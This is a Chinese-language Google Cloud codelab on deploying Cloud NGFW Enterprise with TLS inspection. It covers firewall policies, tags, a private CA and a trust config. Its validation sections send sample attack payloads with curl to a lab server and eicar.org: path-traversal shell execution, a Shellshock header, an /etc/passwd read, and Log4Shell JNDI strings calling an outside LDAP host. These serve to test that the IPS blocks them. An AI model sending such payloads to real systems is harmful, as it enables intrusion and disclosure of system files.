Cloud NGFW Enterprise Codelab [具有 TLS 检查]

1. 简介

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall 是一种完全分布式的防火墙服务，具有高级保护功能、微细分和广泛的覆盖范围，可保护您的 Google Cloud 工作负载免遭内部和外部攻击。

Cloud NGFW 具有以下优势：

  • 分布式防火墙服务：Cloud NGFW 在每个工作负载上提供基于有状态的完全分布式主机强制执行，以实现零信任安全架构。
  • 简化配置和部署：Cloud NGFW 实现网络和分层防火墙政策，可以附加到资源层次结构节点。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微细分：防火墙政策和 Identity and Access Management (IAM) 控制的标记相结合，可以跨虚拟私有云 (VPC) 网络和组织对南北向和东西向流量进行精细控制，并精确到单个虚拟机。

Cloud NGFW 可在以下层级中使用：

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW 企业版

Cloud NGFW Enterprise 将入侵防御服务 (IPS)（一种第 7 层功能）添加到分布式 Google Cloud 防火墙结构中。支持 TLS 检查，以便检查 TLS 加密流量。

现在，您可以部署可靠的第 7 层新一代防火墙 (NGFW) 检查，并进行精细的控制，而无需对网络架构或路由配置进行任何更改。

如需通过 IPS 激活和部署第 7 层防火墙控制，您需要执行以下任务：

  • 创建一组 Google Cloud 管理的可用区级防火墙端点。
  • （可选）创建 TLS 检查政策。
  • （可选）创建信任配置。
  • 将这些端点与需要 Cloud NGFW Enterprise 服务的虚拟私有云 (VPC) 网络相关联。
  • 对现有防火墙政策和防火墙规则进行简单更改，即可为各种流量路径指定威胁防范配置文件。

网络防火墙政策

网络防火墙政策充当防火墙规则的容器。在网络防火墙政策与 VPC 网络关联之前，系统不会在任何位置强制执行该政策中定义的规则。每个 VPC 网络都可以关联一个网络防火墙政策。网络防火墙政策支持在防火墙规则中使用由 IAM 治理的标记（或简称为“标记”），这些标记可取代当前的网络标记，并可用于为工作负载提供身份。

在网络之间共享网络防火墙政策以及与 IAM 治理的标记集成，可极大地简化防火墙的配置和管理。

随着网络防火墙政策的推出，Google Cloud 的防火墙政策现在包含以下组件：

  1. 分层防火墙政策
  2. VPC 防火墙规则
  3. 网络防火墙政策（全球和区域）

资源层次结构中的组织节点和文件夹节点支持分层防火墙政策，而 VPC 防火墙规则和网络防火墙政策则在 VPC 级层应用。VPC 防火墙规则与网络防火墙政策之间的一大区别在于，VPC 防火墙规则只能应用于单个 VPC 网络，而网络防火墙政策可以附加到单个 VPC 或一组 VPC，此外还具有批量更新等优势。

最后，我们还有每个 VPC 网络都附带的隐式防火墙规则：

  • 出站流量规则，其操作为“允许”，目的地为 0.0.0.0/0
  • 入站规则的操作为“拒绝”，来源为 0.0.0.0/0

默认情况下，强制执行顺序如下图所示：

21b3bcabc469ffe.png

请注意，VPC 防火墙规则和全球网络防火墙政策之间的强制执行顺序可以互换。客户可以随时使用 gcloud 命令指定强制执行顺序。

标签

新推出的与网络防火墙政策规则集成的标记是在 Google Cloud 资源层次结构的组织级层或项目级层定义的键值对资源。此类标记包含 IAM 访问权限控制，用于指定谁可以对标记执行什么操作。例如，通过 Identity and Access Management (IAM) 权限，您可以指定哪些正文可为标记分配值，以及哪些正文可将标记附加到资源。如果网络防火墙规则引用了标记，则必须将其应用于资源才能强制执行。

标记遵循 Google Cloud 的继承资源模型，这意味着标记及其值会从父级沿层次结构向下传递。因此，标记可以在一个位置创建，然后由整个资源层次结构中的其他文件夹和项目使用。如需详细了解标签和访问限制，请访问此页面。

不应将标记与网络标记混淆。后者是可以添加到 Compute Engine 实例的字符串；它们与实例相关联，并在实例停用时消失。VPC 防火墙规则可能包含网络标记，但由于它们不被视为云资源，因此不受 IAM 访问权限控制的约束。

请注意，本文档中“标记”和“受 IAM 管控的标记”可互换使用。

构建内容

此 Codelab 需要单个项目，并且能够创建 VPC 网络以及管理多个网络和安全资源。本教程将演示 Cloud NGFW Enterprise 如何通过以下方式提供 IPS 功能：

  • 通过 TLS 检查来检查北向互联网流量
  • 使用 TLS 检查功能检查 VPC 内流量 [东西流量]

系统将使用 Cloud 防火墙匹配参数（包括 5 元组 [来源 IP、目标 IP、协议、来源端口、目标端口] 和标记）来选择要检查的流量。

3d0f288d3b92a295.png

网络防火墙政策规则库的最终状态将类似于下表：

优先级

方向

目标

来源

目的地

操作

类型

100

入站流量

Server_Tag

健康检查

不限

允许

基本功能版

200

入站流量

Client_Tag、Server_Tag

IAP

不限

允许

基本功能版

800

入站流量

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 检查

企业

850

出站

Client_Tag

不限

10.0.0.0/24

允许

基本功能版

900

出站

Client_Tag

不限

不限

L7 检查

企业

学习内容

  • 如何创建网络防火墙政策。
  • 如何创建标记并将其用于网络防火墙政策。
  • 如何配置和使用 Cloud NGFW Enterprise（含 TLS 检查）。

所需条件

  • Google Cloud 项目。
  • 了解如何部署实例和配置网络组件。
  • VPC 防火墙配置知识。

2. 准备工作

创建/更新变量

此 Codelab 使用了 $variables 来帮助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中，运行以下命令，并根据需要替换方括号内的信息：

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 启用 API

如果您尚未启用这些 API，请启用它们：

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW 企业版端点创建

由于 Cloud NGFW 企业端点创建大约需要 20 分钟，因此系统会先创建该端点，然后在创建端点的同时并行完成基本设置。

创建安全配置文件和安全配置文件组：

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

预期输出：

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

确认资源已成功创建：

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

创建 Cloud NGFW Enterprise 端点：

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

运行以下命令，确认端点正在创建 (CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

创建过程大约需要 20 分钟。继续前往“基本设置”部分，并行创建所需资源。

5. 基站设置

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网：

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建 Cloud Router 路由器和 Cloud NAT 网关：

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

实例

创建客户端实例和 Web 服务器实例：

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

项目级标记

如果需要，请向用户分配 tagAdmin 权限：

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

创建项目级标记键和值：

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

将标记绑定到实例：

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球网络防火墙政策

创建全球网络防火墙政策：

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

创建必需的 Cloud 防火墙基本版规则，以允许来自健康检查和身份感知代理范围的流量：

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

创建所需的 Cloud Firewall 规则，以允许来自特定范围的入站东西向/子网内流量（这些规则将更新为启用 Cloud NGFW Enterprise（含 TLS 检查））：

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

将云防火墙政策与 VPC 网络相关联：

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. 云防火墙端点关联

定义环境变量（如果您尚未这样做，或者更喜欢使用脚本方法）。

确认 Cloud 防火墙端点创建已成功完成。仅当状态显示为 ACTIVE 时才继续（创建期间的预期状态为 CREATING）：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

将 Cloud 防火墙端点与 VPC 网络相关联：

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。只有当状态显示为 ACTIVE（创建期间的预期状态为 CREATING）时，才能继续执行 TLS 部分：

gcloud network-security firewall-endpoint-associations list

完成后的预期输出：

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

预期输出：

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 配置 TLS 资源

创建 CA 池。此资源将用于存放我们为 NGFW Enterprise 生成的根 CA 证书。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

创建根 CA。此 CA 证书将用于通过 NGFW Enterprise 为请求签名其他证书。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果您看到以下提示，请回答 y：

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

创建一个服务账号。此服务账号将用于为 NGFW Enterprise 请求证书：

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

为服务账号设置 IAM 权限：

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

创建 TLS 政策 YAML 文件。此文件将包含有关特定资源的信息：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

导入 TLS 检查政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端点关联以启用 TLS：

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

获取 CA 证书并将其添加到客户端的 CA 存储区：

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

将 CA 证书转移到客户端：

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

通过 SSH 连接到虚拟机，将 CA 证书移至 /usr/local/share/ca-certificates，然后更新 CA 存储区：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退出并返回到 Cloud Shell。

服务器证书签名流程：

在 Cloud Shell 中，使用 pip 命令安装 Pyca 加密库：

pip install --user "cryptography>=2.2.0"

如需允许 Google Cloud SDK 使用 Pyca 加密库，您必须启用网站软件包。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

创建服务器证书：

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

这将在 Cloud Shell 中生成 cert.pem 和 key.pem 文件。接下来，将证书和密钥转移到服务器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

通过 SSH 连接到服务器，以更新 Apache 的证书详细信息：

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

将证书和密钥移至特定文件夹：

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 SSL 配置以使用签名证书：

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重启 Apache：

sudo systemctl restart apache2

验证 Apache 状态：

sudo systemctl status apache2

它应处于有效（运行）状态。

退出虚拟机，然后在 Cloud Shell 中继续操作。

8. 验证南北向和东西向连接

在 Cloud Shell 中运行以下命令，并记下要使用的目标 IP：

gcloud compute instances list --filter="name=($prefix-$zone-www)"

打开一个新标签页，并通过 IAP 启动与客户端虚拟机的 SSH 连接（您需要在新标签页中定义变量）：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

运行以下命令，并记下要使用的目标 IP。创建变量，将方括号内的值替换为上一步中记下的 IP 地址，并确保这些 IP 地址可访问：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

对专用 IP 执行 curl 命令，确保可以访问：

curl https://$target_privateip --max-time 2

curl 请求的预期结果：

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 发送示例攻击。Web 服务器应响应所有请求，确认没有实施 L7 检查/预防：

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期结果示例（专用 IP）：

400
404
400
200
200

同样，向互联网目的地发送请求：

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

预期结果示例（互联网目的地）：

400
404
400
403
403

退出虚拟机终端并返回到 Cloud Shell。

9. 创建和更新 TLS 检查的防火墙规则

之前，我们配置了一条防火墙规则，以允许入站流量从内部子网流向我们的服务器。现在，我们将更新现有的入站流量规则，并将操作设置为 apply_security_profile_group。这将启用具有 TLS 的 E/W L7 检查：

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

创建新规则，以使用 TLS 检查北向 L7 检查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

创建新规则以允许 E/W 的出站流量，防止重复检查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. 验证北向 TLS 检查

切换回客户端虚拟机标签页或重新连接：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例攻击发送到互联网目的地：

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

未收到任何响应（如以下预期输出所示），这确认了示例攻击现在已被屏蔽：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

将变量设置为之前的服务器 IP：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

向服务器发送示例 TLS 请求：

curl https://$target_privateip --max-time 2

预期输出：

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

此请求为何失败？这是因为防火墙正在接收来自不受信任的服务器的证书。如果发生这种情况，它会将自签名证书传递回客户端。我们需要将 CA 证书添加为信任配置的一部分，以启用信任。

返回到 Cloud Shell。

11. 配置信任配置

获取根 CA 证书，并将其设置为格式正确的变量。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

配置信任配置 YAML 文件。此文件包含信任详细信息，例如 CA 证书：

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

上述命令将您的根 CA 证书作为受信任证书存储区的一部分包含在内，因为您的服务器证书是使用根 CA 签名的。这意味着，防火墙将信任收到的由您的根 CA 签名的任何证书，此外，如果您的 TLS 政策将 excludePublicCaSet 设置为 false，防火墙还将信任公共 CA 签名的任何证书。

检查信任配置的内容。

cat trust_config.yaml

示例输出：

请密切注意证书的缩进对齐情况。必须严格遵循此格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

导入信任配置：

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 文件以包含信任配置：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

导入更新后的 TLS 政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 验证东/西向 TLS 检查

通过 SSH 返回到客户端，以使用更新后的信任配置测试东/西向流量：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向服务器运行示例 TLS 请求：

curl https://$target_privateip --max-time 2

如果您仍然看到以下输出，请等待更新传播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

预期输出：

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

向服务器发送恶意测试流量：

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期输出：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

未收到任何响应（如以下预期输出所示），这确认了示例攻击现在正被 E/W 阻止。

13. 日志记录

通过 Cloud 控制台前往“日志记录 > 日志浏览器”，输入以下过滤条件并查询日志。将 [PROJECT_ID] 替换为您的 project_id：

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 日志条目应如下所示：

5b68cc1063c0f4bd.png

展开日志条目，并注意从客户端虚拟机发送到服务器的攻击已被识别并阻止（如以下屏幕截图所示，为 Apache Log4j 远程代码执行漏洞）。

478f18f8481e90ed.png

您已成功部署 Cloud NGFW Enterprise 并启用 TLS 检查，以阻止恶意请求。

请前往下一部分，了解清理步骤。

14. 清理步骤

基本设置清理

移除实例：

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色发生了变化，请执行以下步骤：

